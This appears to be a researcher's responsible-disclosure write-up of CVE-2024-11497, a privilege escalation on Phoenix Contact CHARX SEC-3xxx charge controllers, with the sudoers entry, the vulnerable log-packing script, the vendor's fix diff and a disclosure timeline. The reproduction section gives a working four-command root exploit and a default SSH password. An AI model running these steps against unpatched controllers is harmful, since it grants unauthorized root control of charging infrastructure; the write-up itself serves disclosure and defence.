CVE-2024-11497: Privilege escalation on Phoenix Contact CHARX-SEC3xxx charge controllers

Finding a vulnerability through firmware analysis

My methodology, report, and PoC on finding a privilege escalation vulnerability on Phoenix Contact CHARX SEC-3xxx charge controllers with firmware version <1.7.0.

Methodology

(write-up in progress)

Report

The following findings regard firmware version 1.6.3 of the CHARX SEC-3xxx Linux environment. Static analysis shows the same flaws on the oldest publicly available version, 1.2.1, therefore I assume all available firmware versions are affected.

Summary

As per /etc/sudoers.d/user-app, the user user-app is allowed to execute /usr/local/bin/charx_pack_logs as root using sudo charx_pack_logs. By abusing charx_pack_logs the user is able to delete and replace any file with a log archive file with world-rwx permissions (chmod 777). This effectively allows the user to gain write permissions to any file. Through this mechanism, the user can replace another sudo-enabled script, gaining write permissions to it, therefore gaining root permissions.

Reproduction / Exploit

Log in via SSH as user-app (default password: user) and execute:

cp /usr/local/bin/charx_set_timezone /tmp/
sudo charx_pack_logs /usr/local/bin/charx_set_timezone
cat /tmp/charx_set_timezone > /usr/local/bin/charx_set_timezone
rm /tmp/charx_set_timezone

The user has now gained write permissions to /usr/local/bin/charx_set_timezone, which can be executed as root using sudo. Adding any commands to execute as root or just /bin/bash to the script and executing sudo charx_set_timezone finalizes the privilege escalation.

Relevant code and configuration

/etc/sudoers.d/user-app (excerpt)

user-app ALL=(ALL) NOPASSWD:/usr/local/bin/charx_set_timezone, [...] /usr/local/bin/charx_pack_logs, [...]

/usr/local/bin/charx_pack_logs (excerpt)

#!/bin/sh
[...]
CHMOD_LOGFILE="/bin/chmod 777"
target_file=$1
[...]
if [ -f $target_file ];then
    /bin/rm $target_file
fi
[...]
filename=$target_file

# remove all whitespace and "=" character from filename to prevent command injection
filename_safe=${filename//[[:blank:]]/}
filename_safe=${filename_safe//[=]/}

# try to create the file to see whether the filename is valid
if ! "/bin/touch $filename_safe" 2>/dev/null
then
    $TAR $filename_safe $charx_logfiles $submodule_logfiles
    $CHMOD_LOGFILE $filename_safe
else
    echo "Invalid filename"
    exit 1
fi

Fix

The vulnerability in charx_pack_logs was fixed by updating the permissions from 777 to 644 and checking the target file name to have a .tar.gz extension. The script was furthermore proofed against path confusion and argument splitting bugs by introducing full paths for commands and quotes around variables:

$ diff v1.6.3/charx_pack_logs v1.7.0/charx_pack_logs     
6,8c6,7
< FIND_ARGS="-type f"
< CHMOD_LOGFILE="/bin/chmod 777"
< target_file=$1
---
> CHMOD_LOGFILE="/bin/chmod 644"
> target_file="$1"
10c9
< if [ -z $target_file ];then
---
> if [ -z "$target_file" ];then
16,17c15,21
< if [ -f $target_file ];then
<     /bin/rm $target_file
---
> if [[ "$target_file" != *.tar.gz ]]; then
>     echo "Invalid file type"
>     exit 1
> fi
> 
> if [ -f "$target_file" ];then
>     /bin/rm "$target_file"
[...]

Timeline

2024-11-12 Report sent to VDE CERT

2024-11-20 Finding confirmed by Phoenix Contact upon inquiry

2024-12-09 Fix scheduled for January release

2025-01-14 Security advisory released (fixed firmware available)

References